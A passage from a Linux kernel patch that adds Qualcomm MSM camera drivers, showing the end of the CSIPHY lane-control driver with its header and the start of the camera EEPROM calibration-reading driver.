*csi_lane_params; + uint16_t csi_lane_mask; + csi_lane_params = (struct msm_camera_csi_lane_params *)arg; + + if (!csiphy_dev || !csiphy_dev->ref_count) { + pr_err("%s csiphy dev NULL / ref_count ZERO\n", __func__); + return 0; + } + + if (csiphy_dev->csiphy_state != CSIPHY_POWER_UP) { + pr_err("%s: csiphy invalid state %d\n", __func__, + csiphy_dev->csiphy_state); + return -EINVAL; + } + + if (csiphy_dev->hw_version < CSIPHY_VERSION_V30) { + csiphy_dev->lane_mask[csiphy_dev->pdev->id] = 0; + for (i = 0; i < 4; i++) + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_lnn_cfg2_addr + 0x40*i); + } else { + if (!csi_lane_params) { + pr_err("%s:%d failed: csi_lane_params %p\n", __func__, + __LINE__, csi_lane_params); + return -EINVAL; + } + csi_lane_mask = (csi_lane_params->csi_lane_mask & 0x1F); + + CDBG("%s csiphy_params, lane assign 0x%x mask = 0x%x\n", + __func__, + csi_lane_params->csi_lane_assign, + csi_lane_params->csi_lane_mask); + + if (!csi_lane_mask) + csi_lane_mask = 0x1f; + + csiphy_dev->lane_mask[csiphy_dev->pdev->id] &= + ~(csi_lane_mask); + i = 0; + while (csi_lane_mask) { + if (csi_lane_mask & 0x1) { + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_lnn_cfg2_addr + 0x40*i); + } + csi_lane_mask >>= 1; + i++; + } + } + + if (--csiphy_dev->ref_count) { + CDBG("%s csiphy refcount = %d\n", __func__, + csiphy_dev->ref_count); + return 0; + } + + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_lnck_cfg2_addr); + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_glbl_pwr_cfg_addr); + + if (csiphy_dev->hw_dts_version <= CSIPHY_VERSION_V22) { + msm_cam_clk_enable(&csiphy_dev->pdev->dev, + csiphy_clk_info, csiphy_dev->csiphy_clk, + csiphy_dev->num_clk, 0); + } else if (csiphy_dev->hw_dts_version >= CSIPHY_VERSION_V30) { + msm_cam_clk_enable(&csiphy_dev->pdev->dev, + csiphy_clk_info, csiphy_dev->csiphy_clk, + csiphy_dev->num_clk, 0); + iounmap(csiphy_dev->clk_mux_base); + } + + iounmap(csiphy_dev->base); + csiphy_dev->base = NULL; + csiphy_dev->csiphy_state = CSIPHY_POWER_DOWN; + return 0; +} + +#endif + +static int32_t msm_csiphy_cmd(struct csiphy_device *csiphy_dev, void *arg) +{ + int rc = 0; + struct csiphy_cfg_data *cdata = (struct csiphy_cfg_data *)arg; + struct msm_camera_csiphy_params csiphy_params; + struct msm_camera_csi_lane_params csi_lane_params; + if (!csiphy_dev || !cdata) { + pr_err("%s: csiphy_dev NULL\n", __func__); + return -EINVAL; + } + switch (cdata->cfgtype) { + case CSIPHY_INIT: + rc = msm_csiphy_init(csiphy_dev); + break; + case CSIPHY_CFG: + if (copy_from_user(&csiphy_params, + (void *)cdata->cfg.csiphy_params, + sizeof(struct msm_camera_csiphy_params))) { + pr_err("%s: %d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + rc = msm_csiphy_lane_config(csiphy_dev, &csiphy_params); + break; + case CSIPHY_RELEASE: + if (copy_from_user(&csi_lane_params, + (void *)cdata->cfg.csi_lane_params, + sizeof(struct msm_camera_csi_lane_params))) { + pr_err("%s: %d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + rc = msm_csiphy_release(csiphy_dev, &csi_lane_params); + break; + default: + pr_err("%s: %d failed\n", __func__, __LINE__); + rc = -ENOIOCTLCMD; + break; + } + return rc; +} + +static int32_t msm_csiphy_get_subdev_id(struct csiphy_device *csiphy_dev, + void *arg) +{ + uint32_t *subdev_id = (uint32_t *)arg; + if (!subdev_id) { + pr_err("%s:%d failed\n", __func__, __LINE__); + return -EINVAL; + } + *subdev_id = csiphy_dev->pdev->id; + pr_debug("%s:%d subdev_id %d\n", __func__, __LINE__, *subdev_id); + return 0; +} + +static long msm_csiphy_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + int rc = -ENOIOCTLCMD; + struct csiphy_device *csiphy_dev = v4l2_get_subdevdata(sd); + CDBG("%s:%d id %d\n", __func__, __LINE__, csiphy_dev->pdev->id); + mutex_lock(&csiphy_dev->mutex); + switch (cmd) { + case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: + rc = msm_csiphy_get_subdev_id(csiphy_dev, arg); + break; + case VIDIOC_MSM_CSIPHY_IO_CFG: + rc = msm_csiphy_cmd(csiphy_dev, arg); + break; + case VIDIOC_MSM_CSIPHY_RELEASE: + case MSM_SD_SHUTDOWN: + rc = msm_csiphy_release(csiphy_dev, arg); + break; + default: + pr_err_ratelimited("%s: command not found\n", __func__); + } + mutex_unlock(&csiphy_dev->mutex); + CDBG("%s:%d\n", __func__, __LINE__); + return rc; +} + +static const struct v4l2_subdev_internal_ops msm_csiphy_internal_ops; + +static struct v4l2_subdev_core_ops msm_csiphy_subdev_core_ops = { + .g_chip_ident = &msm_csiphy_subdev_g_chip_ident, + .ioctl = &msm_csiphy_subdev_ioctl, +}; + +static const struct v4l2_subdev_ops msm_csiphy_subdev_ops = { + .core = &msm_csiphy_subdev_core_ops, +}; + +static int msm_csiphy_get_clk_info(struct csiphy_device *csiphy_dev, + struct platform_device *pdev) +{ + uint32_t count; + int i, rc; + uint32_t rates[CSIPHY_NUM_CLK_MAX]; + + struct device_node *of_node; + of_node = pdev->dev.of_node; + + count = of_property_count_strings(of_node, "clock-names"); + csiphy_dev->num_clk = count; + + CDBG("%s: count = %d\n", __func__, count); + if (count == 0) { + pr_err("%s: no clocks found in device tree, count=%d", + __func__, count); + return 0; + } + + if (count > CSIPHY_NUM_CLK_MAX) { + pr_err("%s: invalid count=%d, max is %d\n", __func__, + count, CSIPHY_NUM_CLK_MAX); + return -EINVAL; + } + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, "clock-names", + i, &(csiphy_clk_info[i].clk_name)); + CDBG("%s: clock-names[%d] = %s\n", __func__, + i, csiphy_clk_info[i].clk_name); + if (rc < 0) { + pr_err("%s:%d, failed\n", __func__, __LINE__); + return rc; + } + } + rc = of_property_read_u32_array(of_node, "qcom,clock-rates", + rates, count); + if (rc < 0) { + pr_err("%s:%d, failed", __func__, __LINE__); + return rc; + } + for (i = 0; i < count; i++) { + csiphy_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; + CDBG("%s: clk_rate[%d] = %ld\n", __func__, i, + csiphy_clk_info[i].clk_rate); + } + return 0; +} + +static int csiphy_probe(struct platform_device *pdev) +{ + struct csiphy_device *new_csiphy_dev; + int rc = 0; + + new_csiphy_dev = kzalloc(sizeof(struct csiphy_device), GFP_KERNEL); + if (!new_csiphy_dev) { + pr_err("%s: no enough memory\n", __func__); + return -ENOMEM; + } + new_csiphy_dev->ctrl_reg = NULL; + new_csiphy_dev->ctrl_reg = kzalloc(sizeof(struct csiphy_ctrl_t), + GFP_KERNEL); + if (!new_csiphy_dev->ctrl_reg) { + pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); + return -ENOMEM; + } + v4l2_subdev_init(&new_csiphy_dev->msm_sd.sd, &msm_csiphy_subdev_ops); + v4l2_set_subdevdata(&new_csiphy_dev->msm_sd.sd, new_csiphy_dev); + platform_set_drvdata(pdev, &new_csiphy_dev->msm_sd.sd); + + mutex_init(&new_csiphy_dev->mutex); + + if (pdev->dev.of_node) { + of_property_read_u32((&pdev->dev)->of_node, + "cell-index", &pdev->id); + CDBG("%s: device id = %d\n", __func__, pdev->id); + } + + rc = msm_csiphy_get_clk_info(new_csiphy_dev, pdev); + if (rc < 0) { + pr_err("%s: msm_csiphy_get_clk_info() failed", __func__); + return -EFAULT; + } + + new_csiphy_dev->mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "csiphy"); + if (!new_csiphy_dev->mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto csiphy_no_resource; + } + new_csiphy_dev->irq = platform_get_resource_byname(pdev, + IORESOURCE_IRQ, "csiphy"); + if (!new_csiphy_dev->irq) { + pr_err("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto csiphy_no_resource; + } + new_csiphy_dev->io = request_mem_region(new_csiphy_dev->mem->start, + resource_size(new_csiphy_dev->mem), pdev->name); + if (!new_csiphy_dev->io) { + pr_err("%s: no valid mem region\n", __func__); + rc = -EBUSY; + goto csiphy_no_resource; + } + + rc = request_irq(new_csiphy_dev->irq->start, msm_csiphy_irq, + IRQF_TRIGGER_RISING, "csiphy", new_csiphy_dev); + if (rc < 0) { + release_mem_region(new_csiphy_dev->mem->start, + resource_size(new_csiphy_dev->mem)); + pr_err("%s: irq request fail\n", __func__); + rc = -EBUSY; + goto csiphy_no_resource; + } + disable_irq(new_csiphy_dev->irq->start); + + new_csiphy_dev->clk_mux_mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "csiphy_clk_mux"); + if (new_csiphy_dev->clk_mux_mem) { + new_csiphy_dev->clk_mux_io = request_mem_region( + new_csiphy_dev->clk_mux_mem->start, + resource_size(new_csiphy_dev->clk_mux_mem), + new_csiphy_dev->clk_mux_mem->name); + if (!new_csiphy_dev->clk_mux_io) + pr_err("%s: ERROR %d\n", __func__, __LINE__); + } + + new_csiphy_dev->pdev = pdev; + new_csiphy_dev->msm_sd.sd.internal_ops = &msm_csiphy_internal_ops; + new_csiphy_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + snprintf(new_csiphy_dev->msm_sd.sd.name, + ARRAY_SIZE(new_csiphy_dev->msm_sd.sd.name), "msm_csiphy"); + media_entity_init(&new_csiphy_dev->msm_sd.sd.entity, 0, NULL, 0); + new_csiphy_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + new_csiphy_dev->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_CSIPHY; + new_csiphy_dev->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x4; + msm_sd_register(&new_csiphy_dev->msm_sd); + + if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, + "qcom,csiphy-v2.0")) { + new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v2_0; + new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V20; + } else if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, + "qcom,csiphy-v2.2")) { + new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v2_2; + new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V22; + } else if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, + "qcom,csiphy-v3.0")) { + new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v3_0; + new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V30; + } else if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, + "qcom,csiphy-v3.1")) { + new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v3_1; + new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V31; + } else if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, + "qcom,csiphy-v3.2")) { + new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v3_2; + new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V32; + } else { + pr_err("%s:%d, invalid hw version : 0x%x", __func__, __LINE__, + new_csiphy_dev->hw_dts_version); + return -EINVAL; + } + + new_csiphy_dev->csiphy_state = CSIPHY_POWER_DOWN; + return 0; + +csiphy_no_resource: + mutex_destroy(&new_csiphy_dev->mutex); + kfree(new_csiphy_dev->ctrl_reg); + kfree(new_csiphy_dev); + return 0; +} + +static const struct of_device_id msm_csiphy_dt_match[] = { + {.compatible = "qcom,csiphy"}, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_csiphy_dt_match); + +static struct platform_driver csiphy_driver = { + .probe = csiphy_probe, + .driver = { + .name = MSM_CSIPHY_DRV_NAME, + .owner = THIS_MODULE, + .of_match_table = msm_csiphy_dt_match, + }, +}; + +static int __init msm_csiphy_init_module(void) +{ + return platform_driver_register(&csiphy_driver); +} + +static void __exit msm_csiphy_exit_module(void) +{ + platform_driver_unregister(&csiphy_driver); +} + +module_init(msm_csiphy_init_module); +module_exit(msm_csiphy_exit_module); +MODULE_DESCRIPTION("MSM CSIPHY driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.h new file mode 100644 index 0000000000000..608924708f4a9 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.h @@ -0,0 +1,89 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSIPHY_H +#define MSM_CSIPHY_H + +#include +#include +#include +#include +#include +#include "msm_sd.h" + +#define MAX_CSIPHY 3 + +struct csiphy_reg_parms_t { +/*MIPI CSI PHY registers*/ + uint32_t mipi_csiphy_lnn_cfg1_addr; + uint32_t mipi_csiphy_lnn_cfg2_addr; + uint32_t mipi_csiphy_lnn_cfg3_addr; + uint32_t mipi_csiphy_lnn_cfg4_addr; + uint32_t mipi_csiphy_lnn_cfg5_addr; + uint32_t mipi_csiphy_lnck_cfg1_addr; + uint32_t mipi_csiphy_lnck_cfg2_addr; + uint32_t mipi_csiphy_lnck_cfg3_addr; + uint32_t mipi_csiphy_lnck_cfg4_addr; + uint32_t mipi_csiphy_lnck_cfg5_addr; + uint32_t mipi_csiphy_lnck_misc1_addr; + uint32_t mipi_csiphy_glbl_reset_addr; + uint32_t mipi_csiphy_glbl_pwr_cfg_addr; + uint32_t mipi_csiphy_glbl_irq_cmd_addr; + uint32_t mipi_csiphy_hw_version_addr; + uint32_t mipi_csiphy_interrupt_status0_addr; + uint32_t mipi_csiphy_interrupt_mask0_addr; + uint32_t mipi_csiphy_interrupt_mask_val; + uint32_t mipi_csiphy_interrupt_mask_addr; + uint32_t mipi_csiphy_interrupt_clear0_addr; + uint32_t mipi_csiphy_interrupt_clear_addr; + uint32_t mipi_csiphy_mode_config_shift; + uint32_t mipi_csiphy_glbl_t_init_cfg0_addr; + uint32_t mipi_csiphy_t_wakeup_cfg0_addr; + uint32_t csiphy_version; +}; + +struct csiphy_ctrl_t { + struct csiphy_reg_parms_t csiphy_reg; +}; + +enum msm_csiphy_state_t { + CSIPHY_POWER_UP, + CSIPHY_POWER_DOWN, +}; + +struct csiphy_device { + struct platform_device *pdev; + struct msm_sd_subdev msm_sd; + struct v4l2_subdev subdev; + struct resource *mem; + struct resource *clk_mux_mem; + struct resource *irq; + struct resource *io; + struct resource *clk_mux_io; + void __iomem *base; + void __iomem *clk_mux_base; + struct mutex mutex; + uint32_t hw_version; + uint32_t hw_dts_version; + enum msm_csiphy_state_t csiphy_state; + struct csiphy_ctrl_t *ctrl_reg; + uint32_t num_clk; + + struct clk *csiphy_clk[8]; + + int32_t ref_count; + uint16_t lane_mask[MAX_CSIPHY]; +}; + +#define VIDIOC_MSM_CSIPHY_RELEASE \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 9, void *) +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile new file mode 100644 index 0000000000000..de843fb87088d --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile @@ -0,0 +1,4 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/cci +obj-$(CONFIG_MSM_EEPROM) += msm_eeprom.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.c new file mode 100644 index 0000000000000..a5cdeff6504cf --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.c @@ -0,0 +1,1157 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include "msm_sd.h" +#include "msm_cci.h" +#include "msm_eeprom.h" + +#undef CDBG +#ifdef MSM_EEPROM_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) pr_debug(fmt, ##args) +#endif + +DEFINE_MSM_MUTEX(msm_eeprom_mutex); + + + +/** + * msm_eeprom_verify_sum - verify crc32 checksum + * @mem: data buffer + * @size: size of data buffer + * @sum: expected checksum + * + * Returns 0 if checksum match, -EINVAL otherwise. + */ +static int msm_eeprom_verify_sum(const char *mem, uint32_t size, uint32_t sum) +{ + uint32_t crc = ~0UL; + + /* check overflow */ + if (size > crc - sizeof(uint32_t)) + return -EINVAL; + + crc = crc32_le(crc, mem, size); + if (~crc != sum) { + CDBG("%s: expect 0x%x, result 0x%x\n", __func__, sum, ~crc); + return -EINVAL; + } + CDBG("%s: checksum pass 0x%x\n", __func__, sum); + return 0; +} + +/** + * msm_eeprom_match_crc - verify multiple regions using crc + * @data: data block to be verified + * + * Iterates through all regions stored in @data. Regions with odd index + * are treated as data, and its next region is treated as checksum. Thus + * regions of even index must have valid_size of 4 or 0 (skip verification). + * Returns a bitmask of verified regions, starting from LSB. 1 indicates + * a checksum match, while 0 indicates checksum mismatch or not verified. + */ +static uint32_t msm_eeprom_match_crc(struct msm_eeprom_memory_block_t *data) +{ + int j, rc; + uint32_t *sum; + uint32_t ret = 0; + uint8_t *memptr; + struct msm_eeprom_memory_map_t *map; + + if (!data) { + pr_err("%s data is NULL", __func__); + return -EINVAL; + } + map = data->map; + memptr = data->mapdata; + + for (j = 0; j + 1 < data->num_map; j += 2) { + /* empty table or no checksum */ + if (!map[j].mem.valid_size || !map[j+1].mem.valid_size) { + memptr += map[j].mem.valid_size + + map[j+1].mem.valid_size; + continue; + } + if (map[j+1].mem.valid_size != sizeof(uint32_t)) { + CDBG("%s: malformatted data mapping\n", __func__); + return -EINVAL; + } + sum = (uint32_t *) (memptr + map[j].mem.valid_size); + rc = msm_eeprom_verify_sum(memptr, map[j].mem.valid_size, + *sum); + if (!rc) + ret |= 1 << (j/2); + memptr += map[j].mem.valid_size + map[j+1].mem.valid_size; + } + return ret; +} + +static int msm_eeprom_get_cmm_data(struct msm_eeprom_ctrl_t *e_ctrl, + struct msm_eeprom_cfg_data *cdata) +{ + int rc = 0; + struct msm_eeprom_cmm_t *cmm_data = &e_ctrl->eboard_info->cmm_data; + cdata->cfg.get_cmm_data.cmm_support = cmm_data->cmm_support; + cdata->cfg.get_cmm_data.cmm_compression = cmm_data->cmm_compression; + cdata->cfg.get_cmm_data.cmm_size = cmm_data->cmm_size; + return rc; +} + +static int eeprom_config_read_cal_data(struct msm_eeprom_ctrl_t *e_ctrl, + struct msm_eeprom_cfg_data *cdata) +{ + int rc; + + /* check range */ + if (cdata->cfg.read_data.num_bytes > + e_ctrl->cal_data.num_data) { + CDBG("%s: Invalid size. exp %u, req %u\n", __func__, + e_ctrl->cal_data.num_data, + cdata->cfg.read_data.num_bytes); + return -EINVAL; + } + if (!e_ctrl->cal_data.mapdata) + return -EFAULT; + + rc = copy_to_user(cdata->cfg.read_data.dbuffer, + e_ctrl->cal_data.mapdata, + cdata->cfg.read_data.num_bytes); + + return rc; +} + +static int msm_eeprom_config(struct msm_eeprom_ctrl_t *e_ctrl, + void __user *argp) +{ + struct msm_eeprom_cfg_data *cdata = + (struct msm_eeprom_cfg_data *)argp; + int rc = 0; + + CDBG("%s E\n", __func__); + switch (cdata->cfgtype) { + case CFG_EEPROM_GET_INFO: + CDBG("%s E CFG_EEPROM_GET_INFO\n", __func__); + cdata->is_supported = e_ctrl->is_supported; + memcpy(cdata->cfg.eeprom_name, + e_ctrl->eboard_info->eeprom_name, + sizeof(cdata->cfg.eeprom_name)); + break; + case CFG_EEPROM_GET_CAL_DATA: + CDBG("%s E CFG_EEPROM_GET_CAL_DATA\n", __func__); + cdata->cfg.get_data.num_bytes = + e_ctrl->cal_data.num_data; + break; + case CFG_EEPROM_READ_CAL_DATA: + CDBG("%s E CFG_EEPROM_READ_CAL_DATA\n", __func__); + rc = eeprom_config_read_cal_data(e_ctrl, cdata); + break; + case CFG_EEPROM_GET_MM_INFO: + CDBG("%s E CFG_EEPROM_GET_MM_INFO\n", __func__); + rc = msm_eeprom_get_cmm_data(e_ctrl, cdata); + break; + default: + break; + } + + CDBG("%s X rc: %d\n", __func__, rc); + return rc; +} + +static int msm_eeprom_get_subdev_id(struct msm_eeprom_ctrl_t *e_ctrl, + void *arg) +{ + uint32_t *subdev_id = (uint32_t *)arg; + CDBG("%s E\n", __func__); + if (!subdev_id) { + pr_err("%s failed\n", __func__); + return -EINVAL; + } + *subdev_id = e_ctrl->subdev_id; + CDBG("subdev_id %d\n", *subdev_id); + CDBG("%s X\n", __func__); + return 0; +} + +static long msm_eeprom_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + struct msm_eeprom_ctrl_t *e_ctrl = v4l2_get_subdevdata(sd); + void __user *argp = (void __user *)arg; + CDBG("%s E\n", __func__); + CDBG("%s:%d a_ctrl %p argp %p\n", __func__, __LINE__, e_ctrl, argp); + switch (cmd) { + case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: + return msm_eeprom_get_subdev_id(e_ctrl, argp); + case VIDIOC_MSM_EEPROM_CFG: + return msm_eeprom_config(e_ctrl, argp); + default: + return -ENOIOCTLCMD; + } + + CDBG("%s X\n", __func__); +} + +static struct msm_camera_i2c_fn_t msm_eeprom_cci_func_tbl = { + .i2c_read = msm_camera_cci_i2c_read, + .i2c_read_seq = msm_camera_cci_i2c_read_seq, + .i2c_write = msm_camera_cci_i2c_write, + .i2c_write_seq = msm_camera_cci_i2c_write_seq, + .i2c_write_table = msm_camera_cci_i2c_write_table, + .i2c_write_seq_table = msm_camera_cci_i2c_write_seq_table, + .i2c_write_table_w_microdelay = + msm_camera_cci_i2c_write_table_w_microdelay, + .i2c_util = msm_sensor_cci_i2c_util, + .i2c_poll = msm_camera_cci_i2c_poll, +}; + +static struct msm_camera_i2c_fn_t msm_eeprom_qup_func_tbl = { + .i2c_read = msm_camera_qup_i2c_read, + .i2c_read_seq = msm_camera_qup_i2c_read_seq, + .i2c_write = msm_camera_qup_i2c_write, + .i2c_write_table = msm_camera_qup_i2c_write_table, + .i2c_write_seq_table = msm_camera_qup_i2c_write_seq_table, + .i2c_write_table_w_microdelay = + msm_camera_qup_i2c_write_table_w_microdelay, +}; + +static struct msm_camera_i2c_fn_t msm_eeprom_spi_func_tbl = { + .i2c_read = msm_camera_spi_read, + .i2c_read_seq = msm_camera_spi_read_seq, +}; + +static int msm_eeprom_open(struct v4l2_subdev *sd, + struct v4l2_subdev_fh *fh) { + int rc = 0; + struct msm_eeprom_ctrl_t *e_ctrl = v4l2_get_subdevdata(sd); + CDBG("%s E\n", __func__); + if (!e_ctrl) { + pr_err("%s failed e_ctrl is NULL\n", __func__); + return -EINVAL; + } + CDBG("%s X\n", __func__); + return rc; +} + +static int msm_eeprom_close(struct v4l2_subdev *sd, + struct v4l2_subdev_fh *fh) { + int rc = 0; + struct msm_eeprom_ctrl_t *e_ctrl = v4l2_get_subdevdata(sd); + CDBG("%s E\n", __func__); + if (!e_ctrl) { + pr_err("%s failed e_ctrl is NULL\n", __func__); + return -EINVAL; + } + CDBG("%s X\n", __func__); + return rc; +} + +static const struct v4l2_subdev_internal_ops msm_eeprom_internal_ops = { + .open = msm_eeprom_open, + .close = msm_eeprom_close, +}; +/** + * read_eeprom_memory() - read map data into buffer + * @e_ctrl: eeprom control struct + * @block: block to be read + * + * This function iterates through blocks stored in block->map, reads each + * region and concatenate them into the pre-allocated block->mapdata + */ +static int read_eeprom_memory(struct msm_eeprom_ctrl_t *e_ctrl, + struct msm_eeprom_memory_block_t *block) +{ + int rc = 0; + int j; + struct msm_eeprom_memory_map_t *emap = block->map; + struct msm_eeprom_board_info *eb_info; + uint8_t *memptr = block->mapdata; + + if (!e_ctrl) { + pr_err("%s e_ctrl is NULL", __func__); + return -EINVAL; + } + + eb_info = e_ctrl->eboard_info; + + for (j = 0; j < block->num_map; j++) { + if (emap[j].saddr.addr) { + eb_info->i2c_slaveaddr = emap[j].saddr.addr; + e_ctrl->i2c_client.cci_client->sid = + eb_info->i2c_slaveaddr >> 1; + pr_err("qcom,slave-addr = 0x%X\n", + eb_info->i2c_slaveaddr); + } + + if (emap[j].page.valid_size) { + e_ctrl->i2c_client.addr_type = emap[j].page.addr_t; + rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_write( + &(e_ctrl->i2c_client), emap[j].page.addr, + emap[j].page.data, emap[j].page.data_t); + msleep(emap[j].page.delay); + if (rc < 0) { + pr_err("%s: page write failed\n", __func__); + return rc; + } + } + if (emap[j].pageen.valid_size) { + e_ctrl->i2c_client.addr_type = emap[j].pageen.addr_t; + rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_write( + &(e_ctrl->i2c_client), emap[j].pageen.addr, + emap[j].pageen.data, emap[j].pageen.data_t); + msleep(emap[j].pageen.delay); + if (rc < 0) { + pr_err("%s: page enable failed\n", __func__); + return rc; + } + } + if (emap[j].poll.valid_size) { + e_ctrl->i2c_client.addr_type = emap[j].poll.addr_t; + rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_poll( + &(e_ctrl->i2c_client), emap[j].poll.addr, + emap[j].poll.data, emap[j].poll.data_t); + msleep(emap[j].poll.delay); + if (rc < 0) { + pr_err("%s: poll failed\n", __func__); + return rc; + } + } + + if (emap[j].mem.valid_size) { + e_ctrl->i2c_client.addr_type = emap[j].mem.addr_t; + rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_read_seq( + &(e_ctrl->i2c_client), emap[j].mem.addr, + memptr, emap[j].mem.valid_size); + if (rc < 0) { + pr_err("%s: read failed\n", __func__); + return rc; + } + memptr += emap[j].mem.valid_size; + } + if (emap[j].pageen.valid_size) { + e_ctrl->i2c_client.addr_type = emap[j].pageen.addr_t; + rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_write( + &(e_ctrl->i2c_client), emap[j].pageen.addr, + 0, emap[j].pageen.data_t); + if (rc < 0) { + pr_err("%s: page disable failed\n", __func__); + return rc; + } + } + } + return rc; +} +/** + * msm_eeprom_parse_memory_map() - parse memory map in device node + * @of: device node + * @data: memory block for output + * + * This functions parses @of to fill @data. It allocates map itself, parses + * the @of node, calculate total data length, and allocates required buffer. + * It only fills the map, but does not perform actual reading. + */ +static int msm_eeprom_parse_memory_map(struct device_node *of, + struct msm_eeprom_memory_block_t *data) +{ + int i, rc = 0; + char property[PROPERTY_MAXSIZE]; + uint32_t count = 6; + struct msm_eeprom_memory_map_t *map; + + snprintf(property, PROPERTY_MAXSIZE, "qcom,num-blocks"); + rc = of_property_read_u32(of, property, &data->num_map); + CDBG("%s: %s %d\n", __func__, property, data->num_map); + if (rc < 0) { + pr_err("%s failed rc %d\n", __func__, rc); + return rc; + } + + map = kzalloc((sizeof(*map) * data->num_map), GFP_KERNEL); + if (!map) { + pr_err("%s failed line %d\n", __func__, __LINE__); + return -ENOMEM; + } + data->map = map; + + for (i = 0; i < data->num_map; i++) { + snprintf(property, PROPERTY_MAXSIZE, "qcom,page%d", i); + rc = of_property_read_u32_array(of, property, + (uint32_t *) &map[i].page, count); + if (rc < 0) { + pr_err("%s: failed %d\n", __func__, __LINE__); + goto ERROR; + } + + snprintf(property, PROPERTY_MAXSIZE, + "qcom,pageen%d", i); + rc = of_property_read_u32_array(of, property, + (uint32_t *) &map[i].pageen, count); + if (rc < 0) + pr_err("%s: pageen not needed\n", __func__); + + snprintf(property, PROPERTY_MAXSIZE, "qcom,saddr%d", i); + rc = of_property_read_u32_array(of, property, + (uint32_t *) &map[i].saddr.addr, 1); + if (rc < 0) + CDBG("%s: saddr not needed - block %d\n", __func__, i); + + snprintf(property, PROPERTY_MAXSIZE, "qcom,poll%d", i); + rc = of_property_read_u32_array(of, property, + (uint32_t *) &map[i].poll, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR; + } + + snprintf(property, PROPERTY_MAXSIZE, "qcom,mem%d", i); + rc = of_property_read_u32_array(of, property, + (uint32_t *) &map[i].mem, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR; + } + data->num_data += map[i].mem.valid_size; + } + + CDBG("%s num_bytes %d\n", __func__, data->num_data); + + data->mapdata = kzalloc(data->num_data, GFP_KERNEL); + if (!data->mapdata) { + pr_err("%s failed line %d\n", __func__, __LINE__); + rc = 